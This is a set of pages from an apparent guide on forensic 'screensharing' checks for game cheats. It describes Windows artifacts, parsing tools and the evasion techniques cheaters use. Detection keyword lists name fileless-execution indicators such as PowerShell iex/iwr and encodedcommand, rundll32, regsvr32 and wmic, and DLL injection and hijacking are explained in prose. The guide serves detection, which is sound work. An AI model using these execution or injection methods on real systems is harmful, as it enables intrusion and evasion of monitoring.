[llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/prefetch-parser.md) . **Description:** A tool designed to parse and analyze Windows Prefetch files (`.pf`), offering an alternative or supplement to WinPrefetchView. **Features:** * Parses prefetch files, displaying information similar to WinPrefetchView. * Includes tabs for detailed information: Execution History (last 8 run times), File Info (size, creation/access/modified times). * Integrates BAM parsing, YARA rule scanning, and digital signature checks for the executable associated with the prefetch file. * Offers filtering options (Show Unsigned Only, Show Flagged Only, Only In Instance). **Usage:** Aids in examining evidence of program execution stored within prefetch files, combining prefetch data analysis with signature checks and YARA scanning in a single interface. **Link:** `https://github.com/spokwn/prefetch-parser` [PreviousBAM parser](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/bam-parser) [NextKernel Live Dump Analyzer](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/kernel-live-dump-analyzer) Last updated 1 year ago --- # BAM parser | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/bam-parser.md) . **Description:** A parser for the Background Activity Moderator (BAM) registry keys, designed with ScreenSharing use cases in mind. While the core parsing logic is partly visible (semi-open-source), many of the built-in generic detection rules are proprietary. **Features:** * Parses BAM entries from the registry, correcting paths from `\Device\HarddiskVolume` format to standard drive letters. * Retrieves the last run time of the file and indicates if it occurred within the current user logon session. * Performs digital signature checks (Authenticode/Catalog) for each existing executable file found in BAM entries. * Applies numerous generic detection rules (heuristics) to flag potentially suspicious entries based on characteristics common to cheats and malware. * Checks for file replacement patterns using USN Journal data for each file path. * Provides filtering options within the GUI (e.g., show only unsigned, only flagged, only in-instance). * Highlights entries associated with file replacements in red. **Usage Notes & Caveats:** * Flags from 1-3 generics hitting a single file should not lead to immediate conclusions; manual verification is recommended. * The developer notes that some generics (A2, F-series) might have occasional false positives but are kept to maximize detection. * Allows copying the path of a selected cell using `Ctrl + Left Click`. **Usage:** Useful for analyzing program execution evidence stored in the BAM keys, providing context like execution time, signature status, and heuristic flags for suspicious patterns, aiding in quick identification of potentially malicious executables. **Link:** `https://github.com/spokwn/BAM-parser` [PreviousPaths Parser](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/paths-parser) [NextPrefetch Parser](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/prefetch-parser) Last updated 1 year ago --- # usb-drive | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/usb-drive.md) . ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/usb-drive#purpose-and-function) Purpose and Function Windows maintains a detailed history of USB storage devices that have been connected to the system. The primary purpose of this tracking is to facilitate a seamless "plug and play" experience. When a device is reconnected, Windows uses this historical information to quickly recognize it, load the correct drivers, and assign it a drive letter without needing to go through the full installation process each time. From a DFIR perspective, this convenience feature creates a persistent and invaluable log of all external storage devices that have ever been attached to the machine. This history can prove that a specific device was used on a system, even if the device is no longer physically present. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/usb-drive#location-and-structure) Location and Structure The evidence for USB device history is distributed across several locations, primarily within the Windows Registry and system log files. 1. **Registry - The** `**USBSTOR**` **Key:** * **Location:** `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR` * **Structure:** This is the primary registry key for tracking USB Mass Storage devices. It contains a subkey for each unique device that has been connected. The name of the subkey is derived from the device's hardware identifiers (Vendor ID, Product ID, and a Unique Serial Number). * **Metadata:** Within each device's subkey, you can find the device's friendly name, hardware IDs, and a timestamp indicating when the device was **first installed** on the system. 2. **Registry - Mounted Devices:** * **Location:** `HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices` * **Structure:** This key maps volume identifiers (e.g., `\DosDevices\E:`) to unique volume GUIDs. It helps correlate a specific device with the drive letter(s) it was assigned. 3. **Log Files -** `**setupapi.dev.log**`**:** * **Location:** `C:\Windows\inf\setupapi.dev.log` * **Structure:** This plaintext log file records detailed information about device installations, including drivers. It contains high-precision timestamps for when a USB device was **first connected** and **last connected/disconnected**. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/usb-drive#stored-metadata) Stored Metadata By correlating information from these sources, an analyst can build a comprehensive profile for each connected USB device: * **Device Identifiers:** Vendor ID (VID), Product ID (PID), and a unique Serial Number. This combination can often identify the exact make and model of the device. * **Device Name:** The "Friendly Name" of the device as reported to the OS (e.g., "SanDisk Cruzer Blade"). * **First Connected Timestamp:** The date and time the device was first ever connected to the system (found in `USBSTOR` and `setupapi.dev.log`). * **Last Connected Timestamp:** The date and time the device was most recently connected (found in `setupapi.dev.log`). * **Last Removed Timestamp:** The date and time the device was last unplugged (found in `setupapi.dev.log`). * **Assigned Drive Letter:** The drive letter (e.g., `E:`) that was assigned to the device's volume. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/usb-drive#forensic-value) Forensic Value Analyzing the history of USB devices is critical for understanding how data and programs may have been introduced to or exfiltrated from a system. * **Proving a Device Was Present:** It provides definitive proof that a specific USB storage device was connected to the system, which is essential for refuting claims that a device was never used. * **Establishing a Timeline of Use:** The timestamps for first connection, last connection, and last removal allow an analyst to pinpoint when a device was physically interacting with the system. This can be correlated with other evidence, such as program execution traces from a specific drive letter. * **Identifying the Source of Malicious Files:** If malicious files are found to have been executed from a removable drive, the USB history can help identify the specific device used, linking the activity to a physical object. * **Tracking Data Exfiltration:** In data theft investigations, the USB history can show which devices were connected around the time sensitive data went missing. Specialized tools like Nirsoft's `**USBDeview**`, Eric Zimmerman's `**JLECmd**` (which can parse `setupapi` logs), or forensic suites are typically used to aggregate and parse this information efficiently. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/usb-drive#reflection-points-ss-contest) Reflection points (SS Contest) For a ScreenSharer, the USB device history is the primary tool for investigating one of the oldest bypass methods: running cheats from a removable drive. * **The "Cheat on a Stick" Bypass:** A common tactic is for a player to store their cheats on a USB drive, run them from there, and then unplug the drive before the screenshare. The goal is to leave no files on the main system drive. The USB history artifacts completely defeat this tactic. * **Finding the Recently Unplugged Drive:** The most powerful piece of evidence is finding an entry in the `setupapi.dev.log` or a tool like `USBDeview` showing that a USB Mass Storage device was **unplugged just moments before the screenshare began**. This is an extremely strong indicator that the player was trying to hide the device. * **Correlating with Execution Evidence:** If Prefetch or BAM shows the execution of a file from a drive letter like `E:\`, an SSer can then check the USB history to prove that a specific USB device was recently mounted as the `E:` drive, directly linking the physical device to the cheat execution. * **FAT32/exFAT Context:** Players often use FAT32 or exFAT on USB drives, which lack robust journaling (`$UsnJrnl`). This makes the USB history even more critical, as it may be the only persistent record of the device's presence and activity on the system. [PreviousTask Scheduler Artifact](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/task-scheduler-artifact) [NextWindows Event Logs](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/windows-event-logs) Last updated 9 months ago * [Purpose and Function](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/usb-drive#purpose-and-function) * [Location and Structure](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/usb-drive#location-and-structure) * [Stored Metadata](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/usb-drive#stored-metadata) * [Forensic Value](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/usb-drive#forensic-value) --- # Index Attributes ($INDX / $i30) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/index-attributes-usdindx-usdi30.md) . Within the NTFS file system, the contents of a directory are not stored as a simple list. Instead, they are organized in a sophisticated B-tree data structure to allow for efficient sorting and rapid lookups. This structure is stored within special attributes of the directory's MFT record, known collectively as **Index Attributes**. The primary index attribute, identified by its attribute type identifier `**$I30**` in forensic tools, essentially serves as the directory's table of contents. It contains an entry for every file and subdirectory residing within that directory. From a DFIR perspective, the `$I30` index attributes are invaluable because, like the MFT, they do not immediately purge information about deleted items. Their internal structure and slack space can retain metadata about files long after their primary MFT records have been overwritten. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/index-attributes-usdindx-usdi30#location-and-structure) Location and Structure The index information for a directory is stored within its own MFT record. The structure is split based on the size of the directory: * `**$INDEX_ROOT**`**:** For small directories, all index entries are stored directly within this attribute inside the MFT record itself. This attribute also serves as the root node of the B-tree for larger directories. * `**$INDEX_ALLOCATION**`**:** For larger directories that cannot fit within the `$INDEX_ROOT`, the B-tree structure is extended into external clusters on the disk, which are tracked by this attribute. Each entry within the `$I30` index contains a subset of metadata copied from the corresponding file's `$FILE_NAME` ($FN) attribute in its MFT record. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/index-attributes-usdindx-usdi30#stored-metadata) Stored Metadata A single entry in a directory's `$I30` index typically stores: * **Filename:** The name of the file or subdirectory. * **MFT File Reference Number:** A pointer back to the MFT record of the file or subdirectory. * **File Size:** The logical size of the file. * **MACB Timestamps:** A set of timestamps (Modified, Accessed, Changed, Birth) that mirror those from the file's `$FILE_NAME` attribute. When a file is deleted, its entry in the parent directory's `$I30` index is marked as inactive but is **not immediately zeroed out or removed**. It remains in the B-tree structure until its space is needed for a new entry, and even then, remnants can persist in the index buffer's slack space. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/index-attributes-usdindx-usdi30#forensic-value) Forensic Value Analyzing `$I30` attributes, particularly focusing on inactive entries and slack space, can recover evidence that is no longer available in the MFT. * **Recovering Metadata of Deleted Files:** This is the primary forensic value. By "carving" the `$I30` index structures, forensic tools can extract these inactive entries. This can recover the filename, size, attributes, and `$FN` timestamps for files whose original MFT records have been completely overwritten and repurposed. This provides definitive proof that a file with a specific name once existed in that directory. * **Corroborating Timelines:** The timestamps within `$I30` entries provide another source of temporal data, reflecting the file's `$FN` timestamps. This can be used to corroborate or build timelines of file activity within the specific context of their parent directory. * **Identifying Renamed Files:** While `$UsnJrnl` is the primary source for this, examining the sequence of active and inactive entries in an index can sometimes provide clues about recent renaming activity within a directory. * **Bypassing MFT Tampering:** In a hypothetical scenario where an attacker could manipulate an MFT record without triggering other logs, the corresponding `$I30` entry in the parent directory might still retain the original, untampered metadata. Specialized tools are required for effective `$I30` analysis. Command-line utilities like `INDXRipper` or forensic suites like EnCase and X-Ways Forensics have modules designed to parse these complex B-tree structures and extract data from both active and inactive entries. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/index-attributes-usdindx-usdi30#reflection-points-ss-contest) Reflection points (SS Contest) For a ScreenSharer, `$I30` analysis is an advanced technique, but understanding its potential is key when dealing with a suspected evidence-clearing scenario where other artifacts fail. * **The Last Resort for Deleted Files:** Imagine a player deletes a cheat, clears the Recycle Bin, and then creates enough new files to ensure the cheat's MFT record is overwritten. The `$UsnJrnl` might have wrapped, and VSS might be disabled. In this "worst-case scenario," parsing the `$I30` index of the directory where the cheat was located (e.g., the Desktop) might be the _only_ way to recover the cheat's filename and prove it ever existed there. * **Proving Existence:** The most powerful use in an SS is simple: proving that a file named `Vape.exe` existed on the user's Desktop at some point. Even without a precise timestamp, this can be enough to contradict a player's claims and support a ban, depending on server rules. * **A Tool for the "Professional" Bypasser:** This technique is most effective against players who know how to defeat more common forensic artifacts. It demonstrates a deeper level of investigation that can catch even sophisticated attempts at data destruction. [PreviousVolume Shadow Copies (VSS)](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/volume-shadow-copies-vss) [NextAlternate Data Streams (ADS)](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/alternate-data-streams-ads) Last updated 9 months ago * [Location and Structure](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/index-attributes-usdindx-usdi30#location-and-structure) * [Stored Metadata](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/index-attributes-usdindx-usdi30#stored-metadata) * [Forensic Value](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/index-attributes-usdindx-usdi30#forensic-value) --- # pcasvc executed | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/pcasvc-executed.md) . **Description:** A tool designed to parse execution data related to the Program Compatibility Assistant Service (PcaSvc) and potentially PcaClient artifacts. It performs signature checks and generic detections similar to the BAM Parser. **Features:** * Parses last execution information from PcaSvc service and PcaClient artifacts. * Performs digital signature checks on identified executables. * Applies a suite of generic heuristic checks to flag suspicious files. * Checks for file replacements using USN Journal data. * Offers options to view file information, strings, imports, and run YARA rules. **Usage:** Useful for investigating program execution traces logged by the PCA service and related artifacts, complementing Prefetch and BAM analysis, especially on systems where PCA logging is active. **Link:** `https://github.com/spokwn/pcasvc-executed` [PreviousJournalTrace](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/journaltrace) [NextActivitiesCache execution](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/activitiescache-execution) Last updated 1 year ago --- # Common Bypass Techniques in ScreenSharing | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing.md) . As screensharing practices become more sophisticated, so too do the methods employed by individuals seeking to evade detection. Understanding these _bypass techniques_ is crucial for any ScreenSharer aiming to conduct thorough and effective checks. These techniques range from simple file hiding tricks to complex manipulations of system processes and artifacts, all designed with the singular goal of concealing the presence or execution of cheats and unauthorized tools. This section explores common categories and specific methods used to circumvent screenshare procedures. [PreviousMagnet EDD (Encrypted Disk Detector)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/magnet-edd) [NextIntroduction to Bypass Categories](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/introduction-to-bypass-categories) Last updated 1 year ago --- # Steganography | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/steganography.md) . * **Description:** Steganography is the practice of concealing data _within_ other, seemingly innocuous data or files (the "carrier" file), in such a way that the presence of the hidden data is not immediately apparent. In the context of screensharing bypasses, this typically involves embedding malicious code, scripts, or entire cheat executables within common file types like images (`.jpg`, `.png`), audio files (`.wav`), video files (`.mp4`), or documents (`.pdf`). * **Mechanism:** Unlike ADS where data is in a separate NTFS stream _attached_ to a file, steganography modifies the actual byte structure of the carrier file to embed the hidden payload. Various techniques exist, from simple appending of data to the end of a file (which might alter file size noticeably) to more sophisticated methods that modify least significant bits (LSB) in image pixel data or exploit redundant data areas in file formats. The goal is to make the hidden data appear as a natural part of the carrier file's structure or noise. * **Why Cheaters Use It:** It serves as another layer of **concealment**. By hiding a payload within a file type that is generally considered safe and not typically scanned for executable code (like a `.png` image), bypassers hope to evade detection from tools and manual inspection focused on standard executable or script files. The effectiveness increases significantly when combined with other techniques, such as using non-standard methods to extract and execute the hidden payload or obfuscating the payload itself. * **Detection:** Detecting steganography can be challenging and often requires more advanced analysis: * **File Size/Metadata Anomalies:** Compare the file size, dimensions (for images), or other metadata against typical examples of that file type. Unusually large file sizes or inconsistencies might be suspicious. * **Hash Comparison:** If the carrier file claims to be a standard, known file (e.g., a default Windows wallpaper), comparing its hash against the official hash will reveal modifications. * **Specialized Steganalysis Tools:** Dedicated tools (e.g., StegDetect, StegExpose, various forensic suites) employ statistical analysis and pattern recognition to detect artifacts indicative of hidden data within specific file formats (especially images). * **Entropy Analysis:** Embedded encrypted or compressed data might alter the entropy characteristics of the carrier file in unusual ways. * **Manual Inspection (Hex Editor):** Examining the file's raw hexadecimal content might reveal appended data or unusual patterns inconsistent with the file format standard. Steganography represents a more advanced concealment technique than simple renaming or ADS, often requiring targeted analysis beyond basic screensharing procedures. [PreviousCode Obfuscation](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/concealment-and-obfuscation/4-code-obfuscation) [NextArtifact and System Manipulation](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation) Last updated 1 year ago --- # Powershell Remoting | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/powershell-remoting.md) . * **Overview:** PowerShell Remoting is a legitimate Windows feature primarily designed for system administrators to manage computers remotely by running PowerShell commands and scripts on them across a network. It uses WS-Management (Windows Remote Management - WinRM) for communication. * **Misuse Scenario During ScreenShare:** While not a direct cheat injection method itself, PowerShell Remoting presents a potential vector for **external interference** _during_ a screenshare, _if_ it's enabled on the player's machine and an external party has the necessary credentials and network access. A remote connection could theoretically be used by an accomplice to: * Silently execute commands to **delete specific files or registry keys** containing evidence while the ScreenSharer is focused elsewhere. * **Terminate processes**, such as cheat processes the ScreenSharer is about to find, or even the ScreenSharer's tools (AnyDesk, System Informer). * Run scripts to **modify system settings** (e.g., re-enable a disabled service, change permissions). * Launch **stealthy applications or scripts** designed to hide or interfere further. * **Relevance & Detection:** The practical risk during a typical player screenshare is generally low unless the player has pre-configured remote access or is collaborating live with someone else. However, awareness is useful: * Check if the WinRM service is running (`sc query WinRM`). * Check network connections (using System Informer or `netstat -ano`) for established connections on WinRM ports (default 5985/5986) originating from unexpected sources. * PowerShell event logs (if enabled) might show remote command execution. * Unexplained termination of tools or deletion of files during the SS could (in rare, complex cases) warrant considering external interference, though simpler explanations are usually more likely. [PreviousShellcode Injection](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/shellcode-injection) [NextSuspicious DLLs and DLL Injection Techniques](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/suspicious-dlls-and-dll-injection-techniques) Last updated 1 year ago --- # Detection | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/task-scheduler-bypass-techniques/detection.md) . * **Manual Inspection (Task Scheduler GUI):** Open Task Scheduler (`taskschd.msc`) and carefully review tasks listed in the main library and under `Microsoft\Windows`. Look for recently created or modified tasks, tasks with suspicious names or descriptions, tasks triggering at logon/startup, and tasks executing unusual programs or scripts (especially from user directories like Temp or Downloads). Check the "Actions" and "Triggers" tabs for details. * **Command Line Query (**`**schtasks.exe**`**):** `schtasks /query /fo LIST /v` provides a detailed list of all tasks in the command prompt. * **Task Files (**`**C:\Windows\System32\Tasks**`**):** Scheduled tasks are stored as XML files in this directory (and its subdirectories). Analyze the "Date Modified" timestamps of these files in Search Everything. Examine the XML content directly (using Notepad or specialized viewers) to see the commands, arguments, triggers, and user context. Look for recently modified XML files. * **PowerShell Scripts:** Use specialized PowerShell scripts (like those from N0LW or Rio mentioned previously) designed to parse task XML files, extract commands/arguments, and flag potentially suspicious entries based on keywords (`cmd`, `powershell`, `rundll32`, etc.). * **Event Logs:** The Task Scheduler Operational log (`Applications and Services Logs > Microsoft > Windows > TaskScheduler > Operational`) records task creation (Event ID 106), deletion (ID 141), execution (ID 200/201), and completion events. Correlate timestamps with suspicious tasks found elsewhere. * **Registry Explorer:** Can be used to examine Task Cache keys (`HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\Taskcache\Tasks` and `Tree`) for task metadata, including potentially deleted task information or tasks using Unicode names. * **System Informer:** Dump the memory of the Scheduler service (`svchost.exe` or `taskeng.exe`) and search for `` or `` tags, or specific paths/scripts found via other methods. [PreviousMechanism of Evasion](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/task-scheduler-bypass-techniques/mechanism-of-evasion) [NextScripting Languages for Evasion](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/scripting-languages-for-evasion) Last updated 1 year ago --- # Suspicious DLLs and DLL Injection Techniques | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/suspicious-dlls-and-dll-injection-techniques.md) . * **Overview:** Dynamic Link Libraries (DLLs) are fundamental to Windows, containing reusable code and resources. Cheats are very often packaged as DLLs because they need to execute _within_ the address space of the target game process (e.g., `javaw.exe`, `FiveM.exe`) to directly access and modify its memory, functions, and data structures (e.g., hooking game functions, reading entity positions). Understanding how malicious DLLs are loaded is key. * **Common Injection Techniques Recap:** * **Standard DLL Injection:** An external injector process forces the target process to load a DLL file from disk using `LoadLibrary` (often triggered via `CreateRemoteThread`). Leaves traces related to file access (Prefetch for injector/DLL, potentially OpenSavePidlMRU if a file dialog was used) and process interaction (API calls). * **Reflective DLL Injection:** Stealthier; the DLL binary is written directly to the target's memory and loaded manually by code within the DLL, avoiding `LoadLibrary` and the need for the DLL file on disk at runtime. Harder to detect via simple API or module list monitoring. * **DLL Hijacking:** Exploits the Windows DLL search order. An attacker places a malicious DLL with the same name as a legitimate DLL required by an application in a location searched _before_ the legitimate one. The application inadvertently loads the malicious DLL. Often used for persistence. * **DLL Proxying:** Replacing a legitimate DLL with a malicious one that forwards legitimate calls to the original (renamed/moved) DLL but also executes malicious code. Allows cheat functionality while the host application works normally. * **Identifying Suspicious DLLs:** Beyond the injection method, the DLL itself often carries suspicious indicators: * **Lack of Digital Signature:** This is a **major red flag**. Legitimate software components are almost always digitally signed by their developers using trusted certificates. Most cheats or custom-coded malicious DLLs **lack a valid Authenticode signature**. While _some_ legitimate niche tools or older libraries might be unsigned, an unsigned DLL loaded into a game process, especially from an unusual location (user folder, temp), is highly suspicious and warrants deep investigation (hash checking against known cheats, decompilation/disassembly if possible). * **Unusual Location:** Legitimate DLLs required by a game are usually located in the game's installation directory or standard system folders (`System32`, `SysWOW64`). Finding DLLs loaded by the game process from `Downloads`, `Desktop`, `%AppData%`, `%Temp%`, or other user-writable locations is highly suspect. * **Suspicious Name/Imports:** DLLs with names hinting at cheating (`aimbot.dll`, `esp_hook.dll`) are obvious. Examining the DLL's import table (functions it uses from other DLLs, viewable with tools like PeStudio or DiE) might reveal suspicious dependencies (e.g., extensive use of memory manipulation or input hooking functions). * **Detection Focus:** Combine checking for injector processes/artifacts, analyzing the game process's loaded modules (System Informer Modules tab), scanning process memory (Volatility `dlllist`/`ldrmodules`), and critically, **performing signature and Yara checks** (e.g., using Spok's PathParser tool on DLLs found in `csrss` memory dumps) on any unfamiliar or suspiciously located DLLs associated with the game process. [PreviousPowershell Remoting](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/powershell-remoting) [NextProcess Hollowing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/process-hollowing) Last updated 1 year ago --- # Streams Script | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/streams-script.md) . **Description:** A PowerShell script designed to check for Alternate Data Streams (ADS), including the common Zone.Identifier stream, for files within a specified path. **Features:** * Starts checking from the current directory where the script is run. * Prompts the user whether to search recursively into subdirectories. * Allows specifying the depth of recursion (number of levels) or searching all subdirectories ('all'). * Displays a progress bar during the scan. * For each file/directory, it collects: * Full Path and Name. * MD5 Hash (for files only). * Owner (Name/SID). * Length (Size). * Last Access Time and Last Write Time. * File Attributes (Mode). * Contents of up to 5 data streams found (Stream1 to Stream5). * Contents of up to 4 lines from the Zone.Identifier stream (ZoneId1 to ZoneId4). * Outputs the collected information into an interactive GridView window. **Usage Hint:** Primarily used for identifying files that have Alternate Data Streams, which can sometimes be used to hide data or track file origins (like downloads from the internet via Zone.Identifier). [PreviousSpokwn Powershell Scripts](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/spokwn-powershell-scripts) [NextActivitiesCache Script](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/activitiescache-script) Last updated 1 year ago --- # Kernel Live Dump Analyzer | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/kernel-live-dump-analyzer.md) . Analyzing kernel memory dumps has proven to be one of the most effective ways to uncover traces of bypass techniques, especially those involving command-line execution or fileless methods. However, manually sifting through the vast amount of string data extracted from a dump file (`.dmp`) can be time-consuming. To address this, a specialized tool, the **RedLotus Kernel Live Dump Analyzer**, has been developed thanks to the significant skill and effort contributed by **Spok**. This utility dramatically accelerates the analysis process, allowing for checks to be completed in seconds rather than minutes. The tool operates with a primary funciton and an optional second function: 1. **Automated Keyword Scanning:** It performs an initial, rapid scan of the provided kernel dump file (`.dmp`) using a carefully curated list of specific keywords and strings known to be associated with common bypass methods and malicious command-line activity. 2. **Manual Keyword Search:** It provides an option for the user (the ScreenSharer) to input their own specific keyword or string, which the tool will then search for throughout the entire dump file, allowing for targeted investigation based on suspicions arising during the screenshare. _Capabilities:_ This tool is particularly effective at finding command-line evidence related to a wide range of bypass techniques. Needless to say, commands used to perform actions such as: * DLL injections/loading via `Regsvr32.exe` or `RunDLL32.exe`. * Indicators of **Fileless Execution** (e.g., PowerShell commands using `iex`, `iwr`, `encodedcommand`). * File **Replacement** methods utilizing command-line tools like `echo` or `type`. * Executions performed via less common vectors like `forfiles.exe` or `wmic.exe`. * Registry key or value deletions/modifications performed via `reg` commands in CMD or PowerShell. By automating the search for these critical indicators within the kernel dump, this tool significantly enhances the ability to detect sophisticated bypass attempts quickly and efficiently during a screenshare. _(Note: Availability details to be provided upon release/publication)_. ### [](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/kernel-live-dump-analyzer#how-to-use) How to Use 1. **Create a Kernel Live Dump:** You first need to generate the kernel memory dump file (`.dmp`). There are several ways to do this during a live screenshare: * **Using System Informer:** * Ensure System Informer is running with administrator privileges. * Navigate to the main menu: **Hacker** -> **Create kernel memory dump**. * Select **Live kernel dump**. * System Informer will generate the `.dmp` file. Take note of the location where it is saved (it often defaults to a path like `%LOCALAPPDATA%\Microsoft\Windows\TaskManager\LiveKernelDumps\` but might prompt you to save elsewhere). * **Using Windows Task Manager (Alternative):** * Open Task Manager (Ctrl+Shift+Esc) and go to the "Details" tab (you might need to click "More details"). * Locate the **System** process (PID typically 4). * Right-click on the "System" process. * Select **Create memory dump file**. _Note: While simpler, Task Manager often creates a_ _**full**_ _memory dump, which is significantly larger and takes much longer than a kernel-focused dump created by System Informer. System Informer's "Live kernel dump" is generally preferred for this tool's purpose due to speed and focus._ **Verify the type of dump created if using Task Manager.** 2. **Place the Tool:** Locate the generated kernel live dump (`.dmp`) file. Copy or move the **RedLotus Kernel Live Dump Analyzer executable** into the **exact same folder** where the `.dmp` file resides. The tool needs to be in the same directory as the dump it's analyzing. 3. **Run the Program:** Execute the RedLotus Kernel Live Dump Analyzer tool (run as administrator if required by the tool's permissions). The tool will automatically detect the `.dmp` file(s) in its directory and begin the analysis. 4. **Analyze the Output:** The tool will generate one or more output text files (`.txt`) within the same folder. * **Carefully open the** `**.txt**` **file(s)** relevant to the keywords you are interested in (the tool might generate separate files for different keyword categories or allow custom searches). * **Examine the contents:** Look for lines containing suspicious commands, script fragments, paths to known cheats or bypass tools, encoded strings, or any other indicators relevant to the specific bypass method you suspect. The context surrounding the keyword hit is often important. 5. **(Optional) Check the "Results" Folder:** The tool might create a subfolder named **"Results"**. This folder typically contains results that have been automatically filtered to remove common, legitimate system strings, aiming to leave only the potentially more relevant or suspicious command lines for easier review. By following these steps, you can leverage the RedLotus Kernel Live Dump Analyzer to efficiently probe kernel memory for evidence of command-line based bypasses and fileless execution techniques. Link: `coming soon` [PreviousPrefetch Parser](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/prefetch-parser) 